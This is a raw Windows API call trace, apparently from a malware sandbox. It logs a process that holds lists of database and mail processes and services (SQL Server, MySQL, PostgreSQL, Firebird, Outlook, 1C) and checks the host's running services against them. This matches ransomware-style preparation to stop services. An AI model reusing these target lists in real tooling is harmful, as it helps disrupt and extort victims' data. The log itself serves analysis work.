[0205.161] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x646688, Size=0x100) returned 0x627dc0 [0205.161] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x628798 [0205.161] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x65e398 [0205.161] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x616fa8 [0205.162] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x65e398, Size=0x8) returned 0x65e3b8 [0205.162] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5d67e0 [0205.162] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x65e3b8, Size=0x10) returned 0x617038 [0205.162] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18) returned 0x5d64e0 [0205.162] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1a) returned 0x5feb70 [0205.162] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x617038, Size=0x20) returned 0x5fead0 [0205.162] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1c) returned 0x5febe8 [0205.162] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x16) returned 0x5d6600 [0205.162] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1a) returned 0x5febc0 [0205.162] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x616e58 [0205.162] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x65e2e8 [0205.162] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5d7770 [0205.162] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x65e2e8, Size=0x8) returned 0x65e2f8 [0205.162] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x3c) returned 0x5d7578 [0205.162] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x65e2f8, Size=0x10) returned 0x617068 [0205.162] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5d6620 [0205.162] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18) returned 0x5d66e0 [0205.163] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x617068, Size=0x20) returned 0x5fe990 [0205.163] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x24) returned 0x5d55c8 [0205.163] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0205.163] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x627580 | out: hHeap=0x5c0000) returned 1 [0205.163] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0205.163] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x627dc0 | out: hHeap=0x5c0000) returned 1 [0205.163] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5fec60 [0205.189] EnumServicesStatusExW (in: hSCManager=0x5fec60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 0 [0205.191] GetLastError () returned 0xea [0205.191] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1ca4) returned 0x617448 [0205.191] EnumServicesStatusExW (in: hSCManager=0x5fec60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x617448, cbBufSize=0x1ca4, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x617448, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 1 [0205.192] CloseServiceHandle (hSCObject=0x5fec60) returned 1 [0205.193] lstrlenW (lpString="Appinfo") returned 7 [0205.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0205.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0205.193] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0205.193] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0205.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0205.193] lstrlenW (lpString="AppXSvc") returned 7 [0205.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0205.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0205.193] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0205.193] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0205.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0205.193] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0205.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0205.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0205.193] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0205.193] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0205.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0205.193] lstrlenW (lpString="Audiosrv") returned 8 [0205.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0205.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0205.193] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0205.193] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0205.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0205.193] lstrlenW (lpString="BFE") returned 3 [0205.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0205.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0205.193] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0205.193] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0205.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0205.193] lstrlenW (lpString="BITS") returned 4 [0205.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0205.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0205.194] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0205.194] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0205.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0205.194] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0205.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0205.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0205.194] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0205.194] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0205.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0205.194] lstrlenW (lpString="CDPSvc") returned 6 [0205.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0205.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0205.194] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0205.194] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0205.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0205.194] lstrlenW (lpString="ClickToRunSvc") returned 13 [0205.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0205.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0205.194] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0205.194] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0205.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0205.194] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0205.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0205.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0205.194] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0205.194] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0205.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0205.195] lstrlenW (lpString="CryptSvc") returned 8 [0205.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0205.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0205.195] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0205.195] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0205.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0205.195] lstrlenW (lpString="DcomLaunch") returned 10 [0205.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0205.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0205.195] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0205.195] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0205.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0205.195] lstrlenW (lpString="DeviceAssociationService") returned 24 [0205.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0205.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0205.195] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0205.195] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0205.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0205.195] lstrlenW (lpString="Dhcp") returned 4 [0205.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0205.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0205.195] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0205.195] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0205.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0205.195] lstrlenW (lpString="Dnscache") returned 8 [0205.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0205.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0205.195] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0205.195] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0205.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0205.195] lstrlenW (lpString="DPS") returned 3 [0205.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0205.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0205.196] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0205.196] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0205.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0205.196] lstrlenW (lpString="DusmSvc") returned 7 [0205.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0205.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0205.196] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0205.196] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0205.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0205.196] lstrlenW (lpString="EventLog") returned 8 [0205.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0205.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0205.196] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0205.196] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0205.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0205.196] lstrlenW (lpString="EventSystem") returned 11 [0205.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0205.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0205.196] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0205.196] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0205.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0205.196] lstrlenW (lpString="FontCache") returned 9 [0205.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0205.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0205.196] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0205.196] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0205.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0205.196] lstrlenW (lpString="gpsvc") returned 5 [0205.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0205.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0205.196] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0205.196] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0205.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0205.197] lstrlenW (lpString="iphlpsvc") returned 8 [0205.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0205.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0205.197] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0205.197] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0205.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0205.197] lstrlenW (lpString="KeyIso") returned 6 [0205.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0205.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0205.197] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0205.197] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0205.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0205.197] lstrlenW (lpString="LanmanServer") returned 12 [0205.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0205.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0205.197] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0205.197] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0205.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0205.197] lstrlenW (lpString="LanmanWorkstation") returned 17 [0205.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0205.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0205.197] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0205.197] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0205.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0205.197] lstrlenW (lpString="lfsvc") returned 5 [0205.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0205.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0205.197] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0205.197] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0205.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0205.197] lstrlenW (lpString="lmhosts") returned 7 [0205.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0205.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0205.198] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0205.198] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0205.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0205.198] lstrlenW (lpString="LSM") returned 3 [0205.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0205.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0205.198] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0205.198] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0205.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0205.198] lstrlenW (lpString="MpsSvc") returned 6 [0205.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0205.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0205.198] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0205.198] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0205.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0205.198] lstrlenW (lpString="NcbService") returned 10 [0205.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0205.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0205.198] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0205.198] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0205.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0205.198] lstrlenW (lpString="netprofm") returned 8 [0205.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0205.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0205.198] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0205.198] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0205.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0205.199] lstrlenW (lpString="NgcSvc") returned 6 [0205.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0205.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0205.199] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0205.199] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0205.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0205.199] lstrlenW (lpString="NlaSvc") returned 6 [0205.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0205.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0205.199] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0205.199] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0205.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0205.199] lstrlenW (lpString="nsi") returned 3 [0205.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0205.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0205.199] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0205.199] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0205.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0205.199] lstrlenW (lpString="PcaSvc") returned 6 [0205.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0205.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0205.199] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0205.199] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0205.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0205.199] lstrlenW (lpString="PlugPlay") returned 8 [0205.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0205.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0205.199] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0205.200] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0205.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0205.200] lstrlenW (lpString="Power") returned 5 [0205.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0205.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0205.200] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0205.200] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0205.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0205.200] lstrlenW (lpString="ProfSvc") returned 7 [0205.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0205.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0205.200] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0205.200] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0205.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0205.200] lstrlenW (lpString="RpcEptMapper") returned 12 [0205.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0205.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0205.200] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0205.200] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0205.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0205.200] lstrlenW (lpString="RpcSs") returned 5 [0205.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0205.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0205.200] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0205.200] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0205.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0205.200] lstrlenW (lpString="SamSs") returned 5 [0205.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0205.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0205.200] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0205.201] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0205.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0205.201] lstrlenW (lpString="Schedule") returned 8 [0205.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0205.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0205.201] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0205.201] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0205.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0205.201] lstrlenW (lpString="SecurityHealthService") returned 21 [0205.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0205.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0205.201] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0205.201] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0205.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0205.201] lstrlenW (lpString="SENS") returned 4 [0205.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0205.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0205.201] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0205.201] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0205.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0205.201] lstrlenW (lpString="ShellHWDetection") returned 16 [0205.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0205.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0205.201] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0205.201] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0205.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0205.201] lstrlenW (lpString="Spooler") returned 7 [0205.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0205.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0205.202] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0205.202] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0205.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0205.202] lstrlenW (lpString="SSDPSRV") returned 7 [0205.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0205.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0205.202] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0205.202] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0205.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0205.202] lstrlenW (lpString="StateRepository") returned 15 [0205.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0205.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 